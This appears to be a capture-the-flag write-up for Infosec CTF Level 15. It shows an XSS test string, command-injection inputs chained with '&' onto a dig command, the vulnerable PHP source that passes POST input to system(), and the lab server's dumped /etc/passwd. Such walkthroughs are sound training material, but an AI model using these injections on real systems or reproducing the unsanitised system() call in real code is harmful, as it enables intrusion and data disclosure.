Infosec CTF | Level 15

Infosec CTF

Level 15 : infosec_flagis_rceatomized

Firstly Level 15 is vulnerable to xss :P
Type inside the box &echo "<script>alert('Xss')</script>"
Poc:

Now lets focus on our goal !
The issue with the app is that it is vulnerable to command injection .
Quick guide in command injection : The ampersand character (&) is used to batch multiple commands. In this level we use & character in order to escape from the dig command and execute our own commands simultaneously. 

Lets run some commands in order to "map" the attack surface.

A good start for every attack is &whoami  command in order for  to see what is our privilege level . (many people may say run id/uid command , we can say that it is the same read more)

No root :/

Lets see the directory &pwd : 

Ok now we have something. Lets list the files inside the folder /levelfiften . Insert &find to list all the files and sub directories read this .

                  

Hmmmmm there is a file named .hey! Lets open the file with our browser.

Now we have to decrypt the hash Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC  :) . 

 Its was encrypted with Atom 128 See it for yourself Atom 128 Decode (The best site for decryption)

-----------------------------What i found while I was trying to solve the challenge----------------------------
Also the source of index.php script  is :

<?php
	if(isset($_POST['dig'])){
	echo "<pre>";
	$cmd = ($_POST['dig']);
	system("dig mx " . $cmd );
	echo "</pre>";
	die;
	}
	?> ../etc/passwd file   root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false landscape:x:103:109::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false All the installed services Apache2 apt byobu cgi-bin cloud-init command-not-found coreutils dbus-1.0 dpkg eject gcc girepository-1.0 gnupg grub grub-legacy initramfs-tools insserv klibc landscape language-selector libbind9.so.90 libbind9.so.90.0.9 libcwidget.so.3 libcwidget.so.3.0.0 libdns.so.100 libdns.so.100.2.2 libdumbnet.la libdumbnet.so.1 libdumbnet.so.1.0.1 libeatmydata libgirepository-1.0.so.1 libgirepository-1.0.so.1.0.0 libguestlib.a libguestlib.so libguestlib.so.0 libguestlib.so.0.0.0 libhgfs.a libhgfs.so libhgfs.so.0 libhgfs.so.0.0.0 libisc.so.95 libisc.so.95.5.0 libisccc.so.90 libisccc.so.90.0.6 libisccfg.so.90 libisccfg.so.90.1.0 liblwres.so.90 liblwres.so.90.0.7 libperl.so.5.18 libperl.so.5.18.2 libvmtools.a libvmtools.so libvmtools.so.0 libvmtools.so.0.0.0 libxapian.so.22 libxapian.so.22.6.3 linux-boot-probes locale man-db mime mysql open-vm-tools openssh os-prober os-probes perl perl5 php5 pkgconfig pm-utils policykit-1 pppd pt_chown python2.7 python3 python3.4 rsyslog sasl2 sftp-server software-properties ssl sudo systemd tar tasksel tc tmpfiles.d ubuntu-release-upgrader update-notifier upstart valgrind w3m x86_64-linux-gnu